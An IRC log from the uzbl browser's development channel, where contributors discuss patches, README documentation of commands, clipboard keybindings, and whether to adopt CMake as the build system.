16:51 < Dieterbe> rob|: oh and you also haven't answered my question about why we need to change the symbol names
16:52 < splattael> Dieterbe: I've got 2 tiny patches
16:53 < splattael> flexible DESTDIR http://github.com/splattael/uzbl/commit/a3adf408b3c64ee2d3bd56dda3545c01a82fbda5
16:54 < splattael> reverse search http://github.com/splattael/uzbl/commit/fbd34b5b157d1a847005ef7e0784ca25f4bb0aee
16:54 < splattael> hope you like them :)
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16:55 < github> uzbl: Dieter Plaetinck experimental SHA1-2c7275a
16:55 < github> also dont inherit --name
16:55 < github> http://bit.ly/GIWPq
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16:57 < Dieterbe> hmmm
16:59 < Dieterbe> i like the search reverse one
16:59 < Dieterbe> not so sure about the DESTDIR one
16:59 < Dieterbe> is this common practice?
16:59 < splattael> well, I don't know :)
16:59 < splattael> it works for me
17:00 < splattael> these are seperate branches - pick yours :)
17:00 < rob|> Dieterbe: talking about the %webkit-major%, etc. stuff in the useragent var.
17:01 < rob|> Dieterbe: now it's WEBKIT_MAJOR, ... - see uzbl.h
17:01 < rob|> in sampleconfig-dev that is
17:01 < barrucadu> I've just added a function to load a new config file - allows for bindings like this: "bind c = config" and "bind C_ = config %s" :)
17:01 < Dieterbe> splattael: i just checked `man hier` and it seems it wouldn't make sense to useanything else then /usr
17:02 < Dieterbe> rob|: uuhm.. it's probably easier you just patch it and show me then trying to explain :P
17:02 < rob|> barrucadu: do we really need that? i mean you can just cat the new config to the fifo
17:03 < rob|> Dieterbe: well you just need to replace the names, with those form uzbl.h
17:03 < Dieterbe> barrucadu: what rob said + you wouldn't have tab completion anyway, so better use an external shell/tool/script imho
17:03 < barrucadu> rob|: Hmm, I suppose. I've had the FIFO disabled for quite a while so I keep forgetting about it
17:03 < barrucadu> ok
17:03 < splattael> Dieterbe: I use stow for installing unpacked software: `DESTDIR=/usr/local/stow/uzbl make install` worked for me
17:04 < Dieterbe> splattael: i meant /usr/*, any place inside /usr ;)
17:04 < splattael> oh :)
17:05 < barrucadu> git-reverted :)
17:05 < Dieterbe> splattael: but i am gonna try out your search one and merge it if it works
17:05 < splattael> great, thx :)
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17:09 < DuClare> Hi xci o/
17:10 < DuClare> xci, http://hikari.serveftp.org/pc2.conf
17:12 < Dieterbe> rob| / DuClare : can one of you guys update the 'COMMAND SYNTAX' section in the readme?
17:14 < Dieterbe> splattael: can you show me a webpage or something where the vim keybinds are listed? i saw a few pages but none of them showed them like n/N/?*
17:16 < splattael> Dieterbe: cheatsheet? http://fprintf.net/vimCheatSheet.html
17:17 < Dieterbe> okay thanks
17:18 < DuClare> barrucadu, As you can see, I already have a bind for reloading the cfg.  No need to add separate code for it
17:21 < DuClare> Dieterbe, What sort of documentation do you want exactly?
17:21 < DuClare> Just a description of the commands?
17:22 < Dieterbe> DuClare: all the commands you can do, what their syntax is, how they work, how they are parsed etc
17:22 < DuClare> Well, I'll write something
17:22 < Dieterbe> DuClare: so that an end user knows everything about the command stuff he should know
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17:22 < github> uzbl: Dieter Plaetinck experimental SHA1-e4f0286
17:22 < github> disable cookie handler in master branch
17:22 < github> http://bit.ly/vaC2D
17:22 < github> uzbl: Dieter Plaetinck experimental SHA1-dfa1b83
17:22 < github> pull in experimental stuff
17:22 < github> http://bit.ly/f4lel
17:22 < github> uzbl: Peter Suschlik experimental SHA1-fbd34b5
17:22 < github> Search reverse. Use vim keys (n, N and /, ?).
17:23 < github> http://bit.ly/fayqX
17:23 < github> uzbl: Dieter Plaetinck experimental SHA1-9cdf161
17:23 < github> Merge branch 'experimental'
17:23 < github> http://bit.ly/95iKf
17:23 < github> uzbl: Peter Suschlik experimental SHA1-45a4f30
17:23 < github> Merge commit 'remote/master' into search_reverse
17:23 < github> http://bit.ly/4ktoM
17:23 < github> uzbl: Dieter Plaetinck experimental SHA1-e9d50ec
17:23 < github> Merge commit 'splat/search_reverse' into experimental
17:23 < github> http://bit.ly/e1dal
17:23 < github> uzbl: Dieter Plaetinck experimental SHA1-260b76c
17:23 < github> cleanup after merging in from splattael
17:23 < github> http://bit.ly/imK3B
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17:25 < splattael> :)
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17:26 < github> uzbl: Dieter Plaetinck experimental SHA1-3717c54
17:26 < github> moo
17:26 < github> http://bit.ly/kpP28
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17:27 < splattael> is it possible to paste content from clipboard via middle button?
17:27 < splattael> into status bar
17:28 < splattael> like: o <URL from clipboard>
17:28 < barrucadu> splattael: Shift+Insert
17:30 < splattael> barrucadu: thx - I need to improve my C :)
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17:33 < github> uzbl: Dieter Plaetinck experimental SHA1-b0de6d5
17:33 < github> keep configs in sync
17:33 < github> http://bit.ly/fQFiv
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17:36 < DuClare> splattael, You can also create a binding that opens an url directly from clipboard.
17:37 < Masca> Shift + insert. I have never tougth on that.
17:37 < splattael> aah, I guess I'm in love with uzbl now :)
17:37 < Masca> DuClare: By create you mean in code or in config?
17:37 < rob|> http://omploader.org/vMW93Nw/uzbl-persession-dmenu.png   <-- dmenu vertical, covering only the uzbl instace being called from, i kinda like that
17:38 < DuClare> Masca, In config
17:38 < Masca> That's just NICE.
17:38 < DuClare> Masca, Remember, the point is that uzbl can be extentded via scripts.  If there are CLI tools for manipulating the clipboard, then uzbl can be configured to make use of them ;)
17:39 < Masca> Yeah. I love Unix. =)
17:39 < DuClare> Masca, See the bindings y, p and P in my config for example. http://hikari.serveftp.org/pc2.conf
17:39 < barrucadu> DuClare: Would that be something like "bind U = sh "xclip -o > $4"?
17:39 < DuClare> barrucadu, ^
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17:40 < Dieterbe> rob|: it's a nice proof of concept, but on the other hand, when you invoke dmenu from inside uzbl you'll probably make your selection right away, and uzbl will be your main "app of interest" anyway.  so i don't think it's very useful in practice
17:41  * Masca pacman -S dmenu
17:42 < rob|> Dieterbe: that might be true it's just my personal preference i wanted to share with you :p
17:44 < Masca> I'm with rob| =P
17:49 < DuClare> Dieterbe, Looks like I'll document actions as well
17:50 < DuClare> Dieterbe, How do I denote a nest three levels deep?
17:50 < rob|> hmm, i guess we have 2 bugs. 1) "uzbl -u uzbl.org" won't load for certain arguments to -u (didn't look any closer, yet) 2) if it loads, reloading the page won't work - it will load about:blank instead of the actual page
17:50 < DuClare> Oh, hm, not needed maybe.
17:50 < Masca> DuClare: what does your .uzbl/pl  do? (in your P binding)
17:51 < DuClare> Launches a new instance, using $2 as the url
17:52 < Masca> Ok. jeje I guess I will not copy that line. =P
17:55 < Dieterbe> DuClare> Dieterbe, How do I denote a nest three levels deep? <-- woezzel wazzel?
17:55 < DuClare> Foo
17:55 < DuClare>   * fuu
17:55 < DuClare>     - bar
17:55 < DuClare> And then?
17:56 < Dieterbe> are some of these titles of subsections, or really single items ?
17:56 < DuClare> Depends
17:58 < Dieterbe> well if you can make them subsections it's easy
17:58 < DuClare> How do you make subsections?
17:58 < Dieterbe> see http://daringfireball.net/projects/markdown/syntax#header
17:58 < Dieterbe> just add #'s in front
17:59 < DuClare> Cool.
17:59 < DuClare> But maybe not.
17:59 < barrucadu> Hmm, DuClare why do you have _ in some bindings that don't take any input? eg: "bind :ts_       = toggle_status"
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17:59 < github> uzbl: Peter Suschlik master SHA1-fbd34b5
17:59 < github> Search reverse. Use vim keys (n, N and /, ?).
17:59 < github> http://bit.ly/fayqX
17:59 < github> uzbl: Peter Suschlik master SHA1-45a4f30
17:59 < github> Merge commit 'remote/master' into search_reverse
17:59 < github> http://bit.ly/4ktoM
17:59 < github> uzbl: Dieter Plaetinck master SHA1-644e9c6
17:59 < github> doc/todo updates
18:00 < github> http://bit.ly/sJ2nv
18:00 < github> uzbl: Dieter Plaetinck master SHA1-2c7275a
18:00 < github> also dont inherit --name
18:00 < github> http://bit.ly/GIWPq
18:00 < github> uzbl: Dieter Plaetinck master SHA1-e9d50ec
18:00 < github> Merge commit 'splat/search_reverse' into experimental
18:00 < DuClare> barrucadu, Because I want bindings starting with colon not to execute until I hit return
18:00 < github> http://bit.ly/e1dal
18:00 < github> uzbl: Dieter Plaetinck master SHA1-260b76c
18:00 < github> cleanup after merging in from splattael
18:00 < github> http://bit.ly/imK3B
18:00 < github> uzbl: Dieter Plaetinck master SHA1-3717c54
18:00 < github> moo
18:00 < github> http://bit.ly/kpP28
18:00 < github> uzbl: Dieter Plaetinck master SHA1-b0de6d5
18:00 < github> keep configs in sync
18:00 < github> http://bit.ly/fQFiv
18:00 < github> uzbl: Dieter Plaetinck master SHA1-ae5ccd7
18:00 < github> disable cookies again
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18:08 < oxmoz_> Dieterbe: I pushed some commits, the major stuff in the port to cmake
18:08 < oxmoz_> s/in/is/
18:15 < Dieterbe> k
18:16 < Dieterbe> phew
18:19 < oxmoz_> Dieterbe: is it fine with you?
18:19 < Dieterbe> the problem is i don't know cmake :P
18:20 < Masca> So, uzbl it's not suppoused to implement tabs?
18:20 < oxmoz_> Dieterbe: well it's a nice modern cross platform autobuild tool, I think this is a good software, you can handle configuring file easily (with .in extension) and stuff
18:22 < barrucadu> oxmoz_: What advantages over make does it have that we could/would use though?
18:23 < ruskie> does uzbl actually have any optional build dependencies... if not then there is no sense of using cmake over make
18:24 < oxmoz_> barrucadu: it generates a make, check for the packages, can do strings replacement in files (so you can handle your UZBL_VERSION etc. easily), it's cross plateform, you can get macro, it's very scriptable
18:24 < oxmoz_> it's not a make substitute, but an autotool/autoconf one
18:25 < oxmoz_> and also I spent my afternoon porting uzbl to it :|
18:26 < Dieterbe> i'm gonna read a bit about it
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18:27 < oxmoz_> ruskie: yes it has, and they are not checked, that's why I wrote this, because of the "use configure script" item in the TODO list
18:28 < ruskie>  /me wonders what they are
18:28 < Masca> Why there are some 500 bytes buffers in struct State. Why don't use a gchar* ?
18:29 < rob|> cause nobody took care of that, yet. patches welcome :)
18:30 < Dieterbe> Masca: because noone cared enough to patch it yet
18:30 < Masca> Jeje nice.
18:32 < Masca> Do you have plans to support Doxigen or dev-help?
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18:32  * Masca just reading the code.
18:33 < DuClare> Dieterbe, Please complain now. http://github.com/DuClare/uzbl/commit/95c84b3a0be7b15d0fb33d321e0877f5d698cdc3
18:34 < Dieterbe> Masca: well, we should.
18:34 < ruskie> and the only real bad side of cmake c++ is irrelevant since webkit already needs c++ anyway
18:34 < Masca> DuClare: your p binding just rock. =P
18:35 < DuClare> Masca, I didn't invent it.  It's from vim and vimperator. :)
18:35 < Dieterbe> DuClare: your first line: this is already explained in another place
18:36 < DuClare> It might be useful to repeat it? ;)  Somebody might want to look up how commands work.. then it's logical to look under COMMAND :]
18:39 < Dieterbe> DuClare: well either way, i already learned new stuff thanks to your doc.
18:39 < DuClare> Great
18:39 < Dieterbe> DuClare: maybe under 'SET', add that for some parameters, extra steps are performed. eg when you change uri it goes to that page
18:41 < DuClare> Fixed
18:43  * ruskie wonders if the renderer is so abstracted that one could easily replace webkit with gecko or netsurf or any of the others...
18:44 < Dieterbe> DuClare: so if i understand correctly, 'spawn' and 'sh' are actions?
18:44 < DuClare> Dieterbe, Correct
18:45 < Masca> If uzbl replace webkit with gecko I will hate you!
18:45 < Dieterbe> DuClare: but then how do actions get extra parameters, like sh 'exec /home/duclare/.uzbl/pl new "$6"'
18:45 < ruskie> Masca, I meant as an option
18:45 < DuClare> rob|, Dieterbe: Did you have any plans wrt echoing a confirmation when vars are set?  Right now I'd like to finish get_var_value (since I documented it and feel bad for its incompleteness) and, if you like, call it on set_var_value
18:45 < ruskie> like kazehakase can do it...
18:45 < ruskie> you can switch between gecko and webkit
18:45 < ruskie> on their todo there are other renderers as well
18:45 < DuClare> Dieterbe, run_command automatically passes the specified params
18:46 < Masca> ruskie: hehe yeah, it sounds nice... just avoid gecko ;-)
18:46 < rob|> DuClare: hmm, i don't think we should print anything besides errors if not explicitly requested
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18:47 < ruskie> Masca, lol... I know it's crap but on some sites it might be the only thing working well ;)
18:47 < Masca> sad but true.
18:47 < ruskie> I would like to be able to switch between renderers if possible
18:47 < ruskie> or maybe netsurf and thus completly getting rid of c++
18:47 < Dieterbe> DuClare: maybe you could add a short overview of the available actions (or at least the special ones), eg the ones that do fancy things like invoking run_command
18:48 < DuClare> Dieterbe, Yeah, I intended to document actions.  Will do shortly.  Can I see what my documentation looks like on the site?
18:48 < Masca> Sorry for my ignorance  what does this line do?  (void) web_view;   being web_view a WebKitWebView*.
18:49 < Dieterbe> DuClare: sure , just a minute
18:49 < Dieterbe> Masca: it gets rid of compiler warnings for "not used variable" :)
18:49 < Masca> haha Nice. =P
18:50 < DuClare> rob|, Hmm
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18:50 < github> uzbl: DuClare experimental SHA1-95c84b3
18:50 < github> Document commands
18:50 < github> http://bit.ly/16qtt4
18:50 < github> uzbl: DuClare experimental SHA1-9935a5b
18:50 < github> README/COMMAND SYNTAX: Clarify SET
18:50 < github> http://bit.ly/cTxm2
18:50 < github> uzbl: Dieter Plaetinck experimental SHA1-54a292e
18:50 < github> Merge commit 'duc/experimental' into experimental
18:50 < github> http://bit.ly/oeCIQ
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18:51 < DuClare> rob|, Does the var->ptr struct have to have two fields?
18:51 < DuClare> Oh..
18:51 < DuClare> I guess
18:51 < DuClare> Hash table :x
18:51 < Dieterbe> DuClare: http://www.uzbl.org/readme.php , for specifics about the markdown, look at http://daringfireball.net/projects/markdown/syntax#header and the FAQ/INSTALL/.. etc files (which are shown on the website)
18:52 < rob|> DuClare: exactly..
18:53 < Dieterbe> DuClare: tip: code blocks should have 4 spaces in front of them, and if you want to mention variables put backticks around them
18:53 < rob|> hmm, why do you guys not set some line breaks here and there in the docu?
18:53 < DuClare> Dieterbe, Yep, am fixing
18:55 < barrucadu> Ha, my friend just said he'd stick to midori or some other lightweight browser because "it actually has features" :p
18:55 < Dieterbe> barrucadu: ignorance is bliss :)
18:56 < barrucadu> Dieterbe: I failed to convince him that dmenu is the way to go - typing "fo arc" and matching "[forums] Arch Linux Forums: http://bbs.archlinux.org/" is brilliant
18:57 < Dieterbe> barrucadu: yeah.. and the dmenu-vertical patch is great too. not quite perfect yet, but good enough
18:59 < barrucadu> Dieterbe: I'm no longer able to browse the web comfortably without it <.>
18:59 < Dieterbe> barrucadu: it's so fun to read back these old threads like http://bbs.archlinux.org/viewtopic.php?id=67463&p=3  it's less then a month ago, yet it's great to see how "primitive" the first ideas were, compared to where we are now
19:00 < barrucadu> Dieterbe: Back when I only knew Python well enough to do something useful :p
19:03 < Dieterbe> :)
19:04 < DuClare> K, I fixed it a little bit.. hopefully. :>
19:11 < Dieterbe> bind p          = sh '(echo -n "act uri "; xclip -o; echo "") > $4'
19:11 < Dieterbe> weird.  when i do -selection primary, it doesn't work
19:12 < Dieterbe> webkit says : cannot load http:/
19:15 < barrucadu> Dieterbe: here's my working command, try it: bind gc = sh "echo set uri = `xclip -o -selection primary` > $4"
19:15 < DuClare> Here it works just fine with -selection primary
19:16  * barrucadu notices something
19:16 < barrucadu> Shouldn't that be echo -n "act uri = " ?
19:16 < Dieterbe> no
19:16 < DuClare> No
19:16 < Dieterbe> you need a newline
19:16 < barrucadu> Oh
19:16 < DuClare> barrucadu, Commands are terminated by nl
19:17 < DuClare> I added missing stuff to get_var_value
19:19 < Dieterbe> weird, primary reall doesn't work for me :/ only clipboard
19:20 < Dieterbe> also with barrucadu's version
19:23 < Masca> why do you use strycpy(uzbl.state.executable_path, argv[0]); instead of a #define "uzbl" ?
19:24 < DuClare> Masca, Huh?
19:24 < DuClare> You're talking about things that are entirely unrelated unless I'm missing something
19:24 < Dieterbe> because argv[0] is not 'uzbl' ?
19:24 < Dieterbe> at least not always
19:25 < DuClare> Mostly never
19:25 < Masca> Yeah. Why you ask for argv[0]  in uzb.c[1662]
19:25 < Masca> mm.. because argv[0] give us the full path?
19:25 < DuClare> It does, yes
19:25 < Masca> Well, makes sense.
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19:27 < Dieterbe> DuClare: can i make some adjustments to you readme section or are you working on it?
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19:28 < DuClare> Dieterbe, Please do, but check my pushes first, if you didn't already
19:28 < DuClare> Right now I'm writing ### ACTIONS
19:28 < Dieterbe> DuClare: yeah i just merged from you
19:28 < Dieterbe> k
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19:32 < Dieterbe> DuClare: "Commands are used for creating binds, altering variables and running actions." shouldn't we add "getting variables" and setting the input buffer ? (i will add this, if ok for you)
19:32 < DuClare> Yup
19:34 < rob|> what about not using the term "variable" but "property"
19:34 < DuClare> Elaborate
19:36 < rob|> well, i guess a user would instantly know what we mean if we'd talk about setting properties and getting property values
19:39 < Dieterbe> DuClare: note that i'm editing the section now, so if you want to make changes wait a bit :)
19:40 < DuClare> Yup
19:40 < Masca> I'm kinda new to git and github. To get a branch from yours I need to fork?
19:42 < rob|> Masca: only if want to modify it and publish your changes
19:42 < rob|> +you
19:43 < Masca> I want to actively patch uzbl ;-)
19:43 < rob|> then, yes fork it.
19:44 < Masca> Now must I checkout again from my new repo and then apply the changes?
19:45 < DuClare> Dieterbe, Pushed ACTIONS.  Feel free to fix, clarify, or ask for clarification at will. :]
19:45 < rob|> Masca: fork it, clone from your own repo, modify, commit, push
19:46 < Dieterbe> DuClare: k
19:49 < Dieterbe>    * `sh <script body>`
19:49 < Dieterbe>         - runs a command by expanding `%s` in shell_cmd with the script body; primarily useful as a shortcut for `spawn sh -c <body>`
19:49 < Dieterbe> hmmm
19:49 < Dieterbe> shell_cmd? is this related to the %s you can enter in the interactive console?
19:50 < DuClare> Dieterbe, http://hikari.serveftp.org/pc2.conf 6th line
19:52 < Dieterbe> aha ok
19:53 < Dieterbe> hmmmm DuClare , the only actions that call the run_command function are spawn and sh ?
19:55 < DuClare> Yup
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20:02 < github> uzbl: Dieter Plaetinck experimental SHA1-62efbb6
20:02 < github> markup fixes
20:02 < github> http://bit.ly/mwJZK
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20:02 < Dieterbe> okay done ! http://www.uzbl.org/readme.php
20:02 < Dieterbe> i think the readme is finished now
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20:08 < github> uzbl: Dieter Plaetinck experimental SHA1-7122f0b
20:08 < github> typo
20:08 < github> http://bit.ly/zZwGM
20:08 < github> uzbl: Dieter Plaetinck experimental SHA1-994d152
20:08 < github> add link to github tutorials
20:08 < github> http://bit.ly/MuSYI
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20:09 < github> uzbl: Dieter Plaetinck experimental SHA1-eb88eda
20:09 < github> markup
20:09 < github> http://bit.ly/gtZBF
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20:10 < DuClare> Hmm..
20:18 < Doji> [04:45:34]      DuClare | Use a better text editor :)                                                                                           │
20:19 < DuClare> Okay, my mistake.  Let me rephrase: Use a better text editor or keyboard.
20:25 < Doji> No, my mistake. I was just reading thorough the history, didn't mean to post that. Accidental middle click or something...
20:25 < DuClare> :]
20:26 < DuClare> Dieterbe, rob|: You don't mind if I make the handlers get parsed as action (rather than directly shelling them)?
20:27 < DuClare> So one could do set foo_handler = sh 'fuu-bar' or set foo_handler = exit
20:30 < Dieterbe> DuClare: sounds good.. and with spawn ./my/script.sh we get the same behavior as before, no?
20:30 < DuClare> Yep, exactly
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20:31 < github> uzbl: Dieter Plaetinck experimental SHA1-8ed329a
20:31 < github> todo
20:31 < github> http://bit.ly/ZIKJ8
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20:33 < DuClare> After that I might want to look into js files, unless somebody does it before me
20:37 < rob|> btw, we need a way to GET the bindings. i'd suggest to use 'get bindings' for a list of all bindings and 'get binding para' for the value of a specific binding - is this ok?
20:38 < DuClare> Sounds good to me, but overlaps with GET..
20:38 < DuClare> The name.
20:39 < rob|> hmm?
20:40 < rob|> this should be handled by GET
20:40 < DuClare> Right
20:40 < DuClare> Actually, it sounds good
20:42 < rob|> ok, will add that later.
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20:47 < DuClare> Dieterbe, Hmm, you didn't alter the arg handling of spawn after all?
20:49 < Dieterbe> DuClare: no, i couldn't get it to work, so i chickened out :P
20:49 < Dieterbe> and left it like it was :P
20:50 < DuClare> What was the exact problem?
20:50 < DuClare> I'll give it a try :p
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20:51 < Dieterbe> well i left my code in comments, if you try out and run make test-config you'll have weird errors that i could not figure out
20:52 < Dieterbe> something about invalid commands in my config file (!) seems like for some reason commands in my config file were being executed or something
20:53 < DuClare> history
20:53 < DuClare> Or maybe not..
20:54 < Dieterbe> oxmoz_: cmake looks interesting, i'll try out your code, but i need some time to play around, so this could take a while
20:55 < DuClare> I'm not getting any errors with your co
20:55 < DuClare> code
20:57 < DuClare> Works just .. fine o_O
20:57 < Dieterbe> that's weird
20:57 < oxmoz_> Dieterbe: no problem
21:00 < Masca> yei my first uzbl patch. =)
21:01 < Masca> just changed that constant size buffers in State struct. http://github.com/salinasv/uzbl/commit/7dc4f6757170638977d8a0a2fd8ef6fbd4bc7c8d
21:03 < DuClare> Dieterbe, Do we need to deal with filenames that have spaces?
21:03 < DuClare> That might be preferrable..
21:03 < Dieterbe> i guess so.. unless it makes the code *really* ugly :)
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21:10 < Masca> what do you think about doing a google search when we get a "o not an address" command?
21:10 < DuClare> Could be handy, though that can already be done via scripts
21:10 < DuClare> I wouldn't hardcode it because people might want to customize it
21:10 < Masca> Mmm that makes sense.
21:12 < DuClare> Meh.. I wonder what's the purpose of g_shell_parse_argv.. it doesn't even care about quotes!
21:12 < Masca> rob|: how did you configure your dmenu in the last screenshot ?
21:13 < Dieterbe> DuClare> Could be handy, though that can already be done via scripts <-- really? how?
21:14 < Dieterbe> oxmoz_: i got this opinion from _19LIONZ about cmake : http://identi.ca/notice/4328874
21:14 < DuClare> Dieterbe, Make o _ call a script which inspects the parameter and sends a command back via the fifo
21:14 < rob|> Masca: http://rafb.net/p/tHohaG86.html
21:14 < Masca> Did I hear DuClare is writing a googlesearch script? =P
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21:16 < barrucadu> hi
21:16 < DuClare> Hi o/
21:16 < Masca> rob|: rob| I guess that's in ~/.uzbl/sripts
21:16 < barrucadu> I am now of the opinion that merely seeing garlic or curry would be enough to make me explode :p
21:17 < Dieterbe> o_O
21:17 < barrucadu> ^^
21:17 < DuClare> Masca, Description: bin/load_url_from_history.sh
21:17 < DuClare> :>
21:18 < Dieterbe> DuClare: so? the script can't know if the url will resolve or not.. the idea is that we send a request to webkit, and if it can't load the page, *then* we handle it by doing a google lookup or whatever
21:18 < Masca> Du yeah. Just readed it after asking. =/
21:18 < oxmoz_> Dieterbe: well I just downloaded the awesome wm package source and checked at the rules file, I don't get the point of what's your pal talking about...
21:19 < Dieterbe> _19LIONZ: pal? care to elaborate? :P
21:19 < DuClare> Masca, No, Masca said google if o is not an address
21:19 < DuClare> Sorry
21:19 < DuClare> Dieterbe, ^
21:19 < oxmoz_> (btw I was talking about the Debian package)
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21:21 < Dieterbe> DuClare: okay, but still i think the way i explained would be cooler :) an "could-not-load" handler perhaps? :)
21:21 < _19LIONZ> oxmoz_: Dieterbe : I'm not an expert or anything . Have a look at awesome-git . How many .cmake files are there ?
21:21 < oxmoz_> that's because jd splitted a lot
21:21 < oxmoz_> you can keep everything in one file
21:22 < oxmoz_> actually, I thought of cmake because I'm also an awesome wm contributor and that's where I heard about cmake
21:22 < DuClare> Dieterbe, There's no such signal in webkit though.  But yes, I'd use a handler if such is needed.
21:22 < _19LIONZ> my point was , If an upstream project forgot to include a cmake file to recognize a library . the maintainer is screwed
21:23 < oxmoz_> but in the cmake I wrote for uzbl, every libraries are checked at the same place in the code
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21:23 < oxmoz_> if something's missing, just add a line
21:23 < _19LIONZ> oxmoz_: I had a bad experience with one project assuming that a .cmake file already exists in the system so they didn't include it .
21:25 < _19LIONZ> oxmoz_: If the upstream project is professional enough . there shouldn't be a problem :p
21:27 < _19LIONZ> oxmoz_: IMHO , upstream shouldn't use non-standard build tools If it's not necessary
21:27 < oxmoz_> why is it non-standard?
21:28 < rob|> i second that. oxmoz_, do you have anything special in mind that _requires_ cmake?
21:29 < rob|> what _19LIONZ said, that is
21:29 < oxmoz_> portability, easy way to configure files, easy way to had optional build option and stuff
21:29 < oxmoz_> but why is it non-standard?
21:29 < Masca> rob|: I binded your script and it send errors to console. It complains about not finding commands. I do have xwinfo and dmenu.
21:29 < oxmoz_> it is fully supported by Debian packaging system, and I don't see any complaint about cmake on awesome's ml
21:29 < rob|> Masca: dmenu-vertical, right?
21:30 < Masca> rob|: wait, let me nopaste the output
21:31 < oxmoz_> anyway you guys will decide to merge this or not, no problem, at least I learnt some stuff while writing these patches so nothing is lost, but I'm just wondering why we shouldn't use cmake :)
21:31 < Masca> rob|: http://pastebin.com/m6bf7a101
21:32 < rob|> oxmoz_: well, my opinion is while cmake might be nice we currently don't nead a single one of its features. i'd suggest to add it as an _optional_ way to build but not requiring it as hard dependency
21:32 < _19LIONZ> oxmoz_: non-standard in a sense that it's not gnu make. the maintainers like the simplicity of .configure ; make ; make install .
21:33 < oxmoz_> the only difference is that you will now : cmake . ; make ; make install
21:33 < oxmoz_> it still does use make
21:33 < oxmoz_> it's a replacement for autotool only
21:34 < rob|> well, the difference is that you need one more dependency to build uzbl.
21:34 < barrucadu> oxmoz_: It would add a dependency though, which isn't ... robl beat me to it :p
21:35 < oxmoz_> rob|: yes, either you'll need autotool, either cmake
21:35 < rob|> no
21:35 < rob|> you _need_ neither.
21:36 < oxmoz_> so you will handle your file dependancies, libraries check etc. by hand?
21:37 < barrucadu> If something is missing, compilation fails. I don't think it really needs to be much more complex than that
21:37 < Masca> barrucadu: it's standard to have some dependencies check.
21:37 < Masca> eg. autotools.
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21:38 < oxmoz_> barrucadu: what I've experienced when I compiled the first time, that trying to guess to what library in what version were related to the compilation error message
21:38 < rob|> hmm, we already use pkg-config
21:38 < Masca> I agree with oxmoz_ uzbl need to check for glib, gtk and webkit. I just think I don't like to have a non-standard tool
21:44 < _19LIONZ_> for reference , base-devel packages :
21:44 < _19LIONZ_> base-devel autoconf
21:44 < _19LIONZ_> base-devel automake
21:44 < _19LIONZ_> base-devel bin86
21:44 < _19LIONZ_> base-devel bison
21:44 < _19LIONZ_> base-devel fakeroot
21:44 < _19LIONZ_> base-devel flex
21:44 < _19LIONZ_> base-devel gcc
21:44 < _19LIONZ_> base-devel libtool
21:44 < _19LIONZ_> base-devel m4
21:44 < _19LIONZ_> base-devel make
21:44 < _19LIONZ_> base-devel patch
21:44 < _19LIONZ_> base-devel pkgconfig
21:44 < Dieterbe> dude stop :P
21:45 < _19LIONZ_> Dieterbe: I was disconnected for 1min . So I have no idea where the discussion ended
21:45 < Dieterbe> rob|: remember that right now we don't have a configure or configure.in, so our building process is actually very flaky. people who don't use arch are out of luck and have to resolve it manually
21:47 < Masca> People who don't use arch... are doomed.
21:48 < _19LIONZ_> uzbl should depend on webkit>=1.1.7 :p
21:50 < Dieterbe> yeah, that's why we must have *something*, i think cmake looks pretty good
21:50 < Dieterbe> i read in various places that it's better then autotools, so ..
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21:58 < Masca> Why do you list static functions in uzbl.c?
21:58 < Masca> err in uzbl.h
21:59 < DuClare> Functions must be declared...
21:59 < DuClare> C basics
21:59 < Masca> But doesn't need to be exposed in the .h file.
22:00 < DuClare> Huh?  Where would you declare them then?
22:00 < Masca> when you write it. Unless you need it before (up in the file) you 'backward declare' the function.
22:01 < DuClare> Definition != declaration, and even though current compilers let you use undeclared functions if they were defined before the code they appear in, it's not very nice
22:02 < Masca> AFAIK the .h file must have just the functions you want to expose to someone else.
22:02 < DuClare> -_-
22:02 < DuClare> They're exposed to whoever includes the header
22:02 < DuClare> Which is uzbl.c and nothing else, for the time being
22:03 < Masca> Yes, but do you really want to expose every single function?
22:03 < DuClare> Masca, They need to be declared!
22:03 < Masca> DuClare: Yes, it is now.
22:03 < DuClare> Are you saying you want 300 lines of declarations in the .c file?
22:04 < Masca> DuClare: No. I said you just use declare/define in .c
22:04 < DuClare> If you move the declarations from the header to the .c, you have 300 lines of declarations in the .c file.. what's the idea?
22:04 < Phillemann> It would be, however, wise to split up the huge uzbl.c file. :>
22:04 < DuClare> Phillemann, It's hardly huge :)
22:04 < Masca> That's what I'm thinking on.
22:06 < Phillemann> DuClare: In the two projects I'm working on (both way over 10000 lines) there is not one file with more than 1000 lines of code. :D
22:06 < barrucadu> Splitting up the code is in the TODO file
22:06 < DuClare> Phillemann, http://dpaste.com/45085/
22:07 < Masca> and you will not want to expose every single function out of the module. =P
22:07 < Phillemann> But that's mainly a question of style. Some time later you'll memory problems while compiling the file, though ;)
22:07  * Masca hides
22:07 < DuClare> Not anytime soon
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22:10 < barrucadu> Dieterbe: When are you planning on beginning to split up uzbl.c?
22:11 < Dieterbe> i'm not. i'm silenty expecting someone else to do it :)
22:12 < barrucadu> :p
22:12 < Dieterbe> mm.. no seriousl, i could do it
22:12 < Dieterbe> but the weekend is over, workday tomorrow :(
22:13 < Dieterbe> whoever first has time /wants to do it, can do it
22:14 < Phillemann> What does "modkey" do?
22:15 < barrucadu> I have the week after next completely free, so if nobody has started it by then I could do it
22:15 < barrucadu> Phillemann: Allows you to use bindings without being in command mode
22:15 < Dieterbe> barrucadu: nice.. maybe you can do cookies, multiple instances, password management too :P
22:15 < barrucadu> :p
22:16 < Masca> I finish school this week. I could do it too. =P
22:16 < barrucadu> Dieterbe: At the very least I could do loading external script files...
22:17 < _19LIONZ_> Is it early to bitch about a site that is not working ?
22:17 < barrucadu> But jouz started that, so if he commits what he's done I could have a look at the %s replacement
22:17 < Dieterbe> barrucadu: yea
22:17 < Phillemann> barrucadu: Ah, okay.
22:19 < barrucadu> Hmm, dusanx will have a lot of catching up to do when he reappears :p
22:19 < Phillemann> Can I specify "Ctrl + c" to exit insert mode?
22:20 < _19LIONZ_> Phillemann: what's wrong with ESC ?
22:20 < Phillemann> _19LIONZ_: It's too far away.
22:23 < _19LIONZ_> Phillemann: well , I'll leave you to the developers . I heard that a user-defined key will do the  escaping (instead of hard-coded ESC)
22:26 < DuClare> Dieterbe, For the third time I'm working on quotation and now I'm going to finish it, because it's inevitable.  Repeated postponing will just make things harder.
22:29 < Dieterbe> DuClare: uuhh..  did we postpone anything? sure go ahead
22:29 < DuClare> I postponed the quotation thingy. :]
22:29 < DuClare> Taking a shortcut seemed easier.. but I always find myself needing this again and again.
22:29 < Dieterbe> okay, stop postponing it then ^^ just make sure that when it's done you also change other places where needed (sample scripts, readme, ..)
22:30 < DuClare> Yup
